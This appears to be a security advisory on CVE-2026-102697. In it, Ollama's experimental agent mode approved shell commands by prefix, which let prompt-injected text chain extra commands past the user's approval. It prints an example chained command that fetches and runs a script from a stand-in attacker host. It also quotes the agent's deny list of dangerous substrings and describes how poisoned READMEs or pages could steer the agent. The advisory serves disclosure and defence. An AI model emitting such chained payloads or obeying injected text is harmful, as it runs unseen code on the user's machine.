Ollama 0.14.0 to 0.31.1 approved agent shell commands by their first word, so injected text could chain extra commands past the prompt. Fixed in 0.31.2.
Ollama's experimental agent mode asked before it ran a shell command, but it checked only the start of the command against your approval. Once you chose "always allow" for something harmless like reading a file in src/, any later command that began the same way ran without a prompt, whatever came after a ; or &&. A model steered by prompt injection could use that to run commands you never saw. The flaw is CVE-2026-102697, rated 8.5 (High) on CVSS v4.0, and it affects Ollama 0.14.0 up to, but not including, 0.31.2.
The fix shipped quietly. Ollama 0.31.2 came out on 6 July 2026, and its release notes do not mention security at all. The CVE was only published on 29 September, 85 days later, so anyone who has kept Ollama pinned since the summer, or upgraded through a package manager that lags, may still be running the vulnerable approval code. No exploitation has been reported.
What happened
VulnCheck's advisory and the NVD record describe "an incorrect authorization vulnerability in the experimental agent mode Bash tool approval mechanism that fails to properly parse shell syntax." Attackers who can influence model output through prompt injection "can execute additional shell commands by appending control operators like semicolons or logical operators to approved commands, bypassing the session approval requirement."
| CVE | CVE-2026-102697 |
| Weakness | CWE-863, incorrect authorization |
| CVSS v4.0 | 8.5 High (VulnCheck) |
| CVSS v3.1 | 7.8 High (VulnCheck) |
| Affected | Ollama 0.14.0 to 0.31.1, experimental agent mode only |
| Fixed in | 0.31.2 |
| Credit | Akıner Kısa |
| Exploitation | None reported. CISA's SSVC entry records exploitation "none", automatable "no", technical impact "total" |
The agent mode arrived in Ollama 0.14.0, released on 10 January 2026, whose notes say ollama run --experimental "will now open a new Ollama CLI that includes an agent loop and the bash tool." It was opt-in. If you never started Ollama with --experimental, the flaw did not touch you. The local server, the API and normal ollama run chat are not part of this CVE.
How the approval check broke
The vulnerable code is in x/agent/approval.go, which NVD links at v0.31.1. When the model asked to run a bash command, the agent did three things:
- Deny list. It blocked the command if it contained one of a list of dangerous substrings:
rm -rf,sudo,curl -d,nc,.ssh/id_rsa,.envand so on. - Session allow list. It checked whether you had already said "always allow" for this kind of command. If so, it ran with no prompt.
- Prompt. Otherwise it asked you to allow once, allow always, or deny.
Step 2 is where it went wrong. When you picked "always allow", the agent did not store the command. For common read commands (cat, ls, head, tail, grep, find, sed and a few others) it stored a prefix: the command name plus the directory of its first path argument. Approving cat src/main.go saved the rule cat:src/, and that rule covered every subdirectory.
To build that key, the function extractBashPrefix split the command on the pipe character |, took the first part, and read its first word and first path-like argument. It never looked for ;, &&, || or a newline. So a later command like
cat src/util.go; curl -s https://attacker.example/x | sh
produced the key cat:src/, matched the rule you had approved for reading files, and went straight to the shell. The download-and-run half never appeared in an approval prompt. The deny list did not save it either: it matches fixed substrings, and a plain curl ... | sh is not on it.
How one "always allow" for cat src/main.go let a chained command through: the approval key is built from the first command only, and bash runs everything after the semicolon. Source: x/agent/approval.go at v0.31.1.
The attacker does not need access to your machine. They need text in front of the model: a README in a repository you asked the agent to explore, a web page fetched with the agent's web tools, a comment in a file it reads. If that text persuades the model to emit the chained command, the approval you gave minutes earlier for a harmless cat carries it through. That is why VulnCheck scores user interaction as passive rather than none: the victim has to be running the agent and has to have granted an "always allow".
There was also an --experimental-yolo flag that skipped every approval prompt. With that flag set there was no approval to bypass, so this CVE changes nothing for those users. They were already running every command the model chose.
The fix
The patch is commit a2b3a5e, titled "agent: harness core", merged on 2 July 2026. It does not patch the prefix parser; it removes it. The commit deletes x/agent/approval.go and the old experimental run loop and adds a new agent harness under agent/. In the new code the bash tool always requires approval, approvals are asked for each batch of tool calls, and the only session-wide shortcut is "allow all tools", which is explicit about what it grants. In 0.31.2, ollama run no longer registers the --experimental agent flags at all.
The fix shipped in Ollama 0.31.2 on 6 July with no security note; CVE-2026-102697 was published 85 days later. Sources: GitHub releases, commit a2b3a5e, NVD.
What to do
- Upgrade to Ollama 0.31.2 or later. Check with
ollama -v. Homebrew, distro packages and Docker images can lag the GitHub release, so confirm the version you are actually running. - If you used
ollama run --experimentalon 0.14.0 to 0.31.1, think about what the agent read in those sessions. Any session where you chose "always allow" and then pointed the agent at untrusted content (a cloned repository, a fetched web page) could have run commands you did not see. Check shell history, new cron entries, new SSH keys and unexpected outbound connections from that machine. - Treat prefix approval as broken everywhere. This is not only an Ollama lesson. Any agent harness that approves shell commands by matching the start of a string will fail the same way, because a shell command is a small program, not a name. Approve exact commands, parse with a real shell parser and reject control operators, or run the agent in a sandbox where a bad command cannot reach anything that matters.
- Do not run agents with approvals off on a machine that holds credentials. A "yolo" flag on a laptop with cloud keys and SSH keys turns one poisoned README into a full compromise.